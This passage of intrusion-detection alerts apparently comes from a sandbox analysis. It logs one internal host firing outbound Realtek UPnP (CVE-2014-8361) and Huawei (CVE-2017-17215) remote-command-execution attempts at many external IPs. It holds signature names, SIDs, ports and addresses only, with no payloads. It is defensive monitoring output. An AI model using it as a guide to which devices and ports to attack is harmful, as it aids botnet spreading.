Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.14 - Destination IP: 40.122.199.14

Timestamp:	07/20/24-23:01:13.329423
SID:	2027339
Source Port:	55954
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.40.209.86

Timestamp:	07/20/24-23:01:07.672294
SID:	2835222
Source Port:	42336
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.140.241.183

Timestamp:	07/20/24-23:01:07.662924
SID:	2829579
Source Port:	40246
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.14 - Destination IP: 190.144.135.107

Timestamp:	07/20/24-23:01:13.330329
SID:	2831300
Source Port:	48210
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.204.105.129

Timestamp:	07/20/24-23:01:05.893818
SID:	2835222
Source Port:	35786
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.5.19.94

Timestamp:	07/20/24-23:01:22.785873
SID:	2835222
Source Port:	38852
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.14 - Destination IP: 205.244.60.239

Timestamp:	07/20/24-23:01:29.173099
SID:	2831300
Source Port:	32826
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.14 - Destination IP: 209.180.225.131

Timestamp:	07/20/24-23:01:13.333328
SID:	2027339
Source Port:	55668
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.221.222.140

Timestamp:	07/20/24-23:01:11.481655
SID:	2835222
Source Port:	34284
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.14 - Destination IP: 164.82.176.136

Timestamp:	07/20/24-23:01:24.460502
SID:	2027339
Source Port:	59808
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.244.153.19

Timestamp:	07/20/24-23:01:11.472603
SID:	2829579
Source Port:	34266
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 106.111.13.138

Timestamp:	07/20/24-23:01:25.298710
SID:	2829579
Source Port:	56278
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 193.123.123.238

Timestamp:	07/20/24-23:01:33.070886
SID:	2835222
Source Port:	57058
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.24.24.17

Timestamp:	07/20/24-23:01:05.911929
SID:	2829579
Source Port:	50520
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.14 - Destination IP: 66.247.97.52

Timestamp:	07/20/24-23:01:13.329661
SID:	2027339
Source Port:	50004
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 8.225.51.230

Timestamp:	07/20/24-23:01:28.205022
SID:	2835222
Source Port:	43900
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.248.221.244

Timestamp:	07/20/24-23:01:28.219332
SID:	2829579
Source Port:	50868
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 85.25.104.53

Timestamp:	07/20/24-23:01:07.662924
SID:	2835222
Source Port:	59262
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.14 - Destination IP: 191.124.131.163

Timestamp:	07/20/24-23:01:05.528906
SID:	2027339
Source Port:	44008
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.63.116.137

Timestamp:	07/20/24-23:01:22.785873
SID:	2835222
Source Port:	50748
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.181.67.71

Timestamp:	07/20/24-23:01:14.397263
SID:	2835222
Source Port:	40804
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.213.47.9

Timestamp:	07/20/24-23:01:19.221388
SID:	2829579
Source Port:	46384
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.14 - Destination IP: 172.52.92.23

Timestamp:	07/20/24-23:01:34.903669
SID:	2027339
Source Port:	54692
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.36.75.196

Timestamp:	07/20/24-23:01:07.658261
SID:	2835222
Source Port:	54066
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.14 - Destination IP: 180.84.13.38

Timestamp:	07/20/24-23:01:34.892272
SID:	2027339
Source Port:	43614
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.93.65.112

Timestamp:	07/20/24-23:01:28.200134
SID:	2829579
Source Port:	34186
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.244.165.97

Timestamp:	07/20/24-23:01:07.672294
SID:	2829579
Source Port:	55166
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.163.101.17

Timestamp:	07/20/24-23:01:28.211361
SID:	2835222
Source Port:	54788
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.14 - Destination IP: 193.152.255.240

Timestamp:	07/20/24-23:01:24.602041
SID:	2025132
Source Port:	45916
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.14 - Destination IP: 134.20.23.71

Timestamp:	07/20/24-23:01:25.476330
SID:	2027339
Source Port:	48734
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.223.158.9

Timestamp:	07/20/24-23:01:14.428293
SID:	2829579
Source Port:	44196
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.137.75.124

Timestamp:	07/20/24-23:01:02.408596
SID:	2835222
Source Port:	57162
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 52.169.146.169

Timestamp:	07/20/24-23:01:19.220224
SID:	2829579
Source Port:	51358
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.14 - Destination IP: 62.62.247.176

Timestamp:	07/20/24-23:01:06.119272
SID:	2025132
Source Port:	46042
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.14 - Destination IP: 64.61.21.55

Timestamp:	07/20/24-23:01:06.267322
SID:	2027339
Source Port:	47368
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 161.234.199.200

Timestamp:	07/20/24-23:01:05.911930
SID:	2835222
Source Port:	44068
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.224.87.166

Timestamp:	07/20/24-23:01:22.783280
SID:	2829579
Source Port:	37000
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.14 - Destination IP: 138.145.119.211

Timestamp:	07/20/24-23:01:34.937254
SID:	2831300
Source Port:	39862
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.14 - Destination IP: 169.73.158.246

Timestamp:	07/20/24-23:01:13.332438
SID:	2027339
Source Port:	42376
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.14 - Destination IP: 74.157.77.170

Timestamp:	07/20/24-23:01:29.684573
SID:	2027339
Source Port:	38526
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 60.95.251.66

Timestamp:	07/20/24-23:01:11.480465
SID:	2835222
Source Port:	48608
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.113.223.82

Timestamp:	07/20/24-23:01:19.334799
SID:	2835222
Source Port:	36974
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 222.100.5.186

Timestamp:	07/20/24-23:01:37.227564
SID:	2835222
Source Port:	34346
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.13.78.198

Timestamp:	07/20/24-23:01:33.110605
SID:	2835222
Source Port:	44424
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.244.95.243

Timestamp:	07/20/24-23:01:14.397786
SID:	2829579
Source Port:	42810
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.14 - Destination IP: 209.57.40.96

Timestamp:	07/20/24-23:01:34.902184
SID:	2027339
Source Port:	42246
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.197.206.221

Timestamp:	07/20/24-23:01:07.676384
SID:	2835222
Source Port:	48138
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.14 - Destination IP: 27.2.47.157

Timestamp:	07/20/24-23:01:33.510703
SID:	2027339
Source Port:	46102
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 169.141.152.236

Timestamp:	07/20/24-23:01:37.160288
SID:	2835222
Source Port:	54352
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.213.182.56

Timestamp:	07/20/24-23:01:11.467355
SID:	2829579
Source Port:	52582
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.14 - Destination IP: 42.119.93.45

Timestamp:	07/20/24-23:01:34.899753
SID:	2027339
Source Port:	42134
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.121.47.232

Timestamp:	07/20/24-23:01:02.411645
SID:	2835222
Source Port:	40822
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.30.48.23

Timestamp:	07/20/24-23:01:33.044521
SID:	2835222
Source Port:	34008
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.78.32.167

Timestamp:	07/20/24-23:01:02.405622
SID:	2835222
Source Port:	47230
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.26.139.46

Timestamp:	07/20/24-23:01:02.404044
SID:	2835222
Source Port:	60728
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.221.41.23

Timestamp:	07/20/24-23:01:25.288605
SID:	2835222
Source Port:	42420
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.162.79.152

Timestamp:	07/20/24-23:01:22.794319
SID:	2829579
Source Port:	49224
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.14 - Destination IP: 179.97.208.77

Timestamp:	07/20/24-23:01:29.673846
SID:	2025132
Source Port:	38230
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.138.67.78

Timestamp:	07/20/24-23:01:11.486486
SID:	2829579
Source Port:	37216
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.14 - Destination IP: 130.190.186.142

Timestamp:	07/20/24-23:01:13.336391
SID:	2027339
Source Port:	43744
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.144.82.108

Timestamp:	07/20/24-23:01:22.776061
SID:	2835222
Source Port:	35584
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.14 - Destination IP: 97.239.211.144

Timestamp:	07/20/24-23:01:23.025064
SID:	2027339
Source Port:	45294
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 92.118.222.254

Timestamp:	07/20/24-23:01:25.230671
SID:	2829579
Source Port:	52352
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 144.118.94.52

Timestamp:	07/20/24-23:01:37.167957
SID:	2829579
Source Port:	33178
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 63.230.59.42

Timestamp:	07/20/24-23:01:19.235468
SID:	2829579
Source Port:	57468
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.14 - Destination IP: 149.86.2.31

Timestamp:	07/20/24-23:01:05.812829
SID:	2025132
Source Port:	42766
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.14 - Destination IP: 142.221.175.109

Timestamp:	07/20/24-23:01:34.694504
SID:	2025132
Source Port:	37156
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.108.162.26

Timestamp:	07/20/24-23:01:33.068258
SID:	2835222
Source Port:	50026
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.14 - Destination IP: 53.20.227.219

Timestamp:	07/20/24-23:01:34.909156
SID:	2831300
Source Port:	47934
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.179.75.211

Timestamp:	07/20/24-23:01:05.905239
SID:	2835222
Source Port:	41204
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.112.206.46

Timestamp:	07/20/24-23:01:37.222600
SID:	2835222
Source Port:	52084
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.14 - Destination IP: 40.169.74.201

Timestamp:	07/20/24-23:01:34.942495
SID:	2027339
Source Port:	54302
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.14 - Destination IP: 162.57.74.72

Timestamp:	07/20/24-23:01:13.331147
SID:	2027339
Source Port:	36460
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.14 - Destination IP: 167.169.213.136

Timestamp:	07/20/24-23:01:29.189808
SID:	2831300
Source Port:	58774
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.4.60.155

Timestamp:	07/20/24-23:01:33.046879
SID:	2829579
Source Port:	51160
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 44.58.161.121

Timestamp:	07/20/24-23:01:33.044521
SID:	2829579
Source Port:	45706
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.14 - Destination IP: 133.182.11.249

Timestamp:	07/20/24-23:01:34.952294
SID:	2831300
Source Port:	60444
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.14 - Destination IP: 197.254.135.133

Timestamp:	07/20/24-23:01:25.184750
SID:	2025132
Source Port:	38834
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.38.58.18

Timestamp:	07/20/24-23:01:25.283565
SID:	2835222
Source Port:	35896
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.48.182.247

Timestamp:	07/20/24-23:01:25.294369
SID:	2829579
Source Port:	54890
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.43.62.172

Timestamp:	07/20/24-23:01:14.416273
SID:	2835222
Source Port:	34880
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 112.118.31.143

Timestamp:	07/20/24-23:01:05.927305
SID:	2835222
Source Port:	51956
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.14 - Destination IP: 99.202.52.30

Timestamp:	07/20/24-23:01:13.331310
SID:	2831300
Source Port:	59154
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.14 - Destination IP: 197.234.206.236

Timestamp:	07/20/24-23:01:29.187581
SID:	2831300
Source Port:	47646
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.29.25.95

Timestamp:	07/20/24-23:01:07.662924
SID:	2829579
Source Port:	46062
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.14 - Destination IP: 37.92.251.97

Timestamp:	07/20/24-23:01:13.333147
SID:	2027339
Source Port:	33012
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.14 - Destination IP: 121.241.252.236

Timestamp:	07/20/24-23:01:13.329548
SID:	2027339
Source Port:	33402
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.14 - Destination IP: 39.28.170.200

Timestamp:	07/20/24-23:01:24.078342
SID:	2831300
Source Port:	42294
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 181.36.87.26

Timestamp:	07/20/24-23:01:02.415739
SID:	2829579
Source Port:	52714
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.14 - Destination IP: 167.60.40.217

Timestamp:	07/20/24-23:01:13.333076
SID:	2831300
Source Port:	49814
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.14 - Destination IP: 99.174.108.83

Timestamp:	07/20/24-23:01:34.958511
SID:	2831300
Source Port:	34896
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.14 - Destination IP: 87.85.193.52

Timestamp:	07/20/24-23:01:13.334111
SID:	2027339
Source Port:	47872
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.14 - Destination IP: 9.55.208.82

Timestamp:	07/20/24-23:01:30.874795
SID:	2025132
Source Port:	60010
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.233.217.6

Timestamp:	07/20/24-23:01:11.474688
SID:	2835222
Source Port:	58412
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.200.137.216

Timestamp:	07/20/24-23:01:25.287093
SID:	2835222
Source Port:	36742
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.35.76.74

Timestamp:	07/20/24-23:01:25.230630
SID:	2835222
Source Port:	56262
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.241.150.191

Timestamp:	07/20/24-23:01:02.414137
SID:	2829579
Source Port:	46280
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.205.166.142

Timestamp:	07/20/24-23:01:05.901568
SID:	2835222
Source Port:	52186
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.14 - Destination IP: 118.44.218.190

Timestamp:	07/20/24-23:01:13.329789
SID:	2027339
Source Port:	48634
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.219.184.205

Timestamp:	07/20/24-23:01:14.431063
SID:	2835222
Source Port:	45882
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.14 - Destination IP: 39.157.230.122

Timestamp:	07/20/24-23:01:33.183957
SID:	2025132
Source Port:	36250
Destination Port:	52869
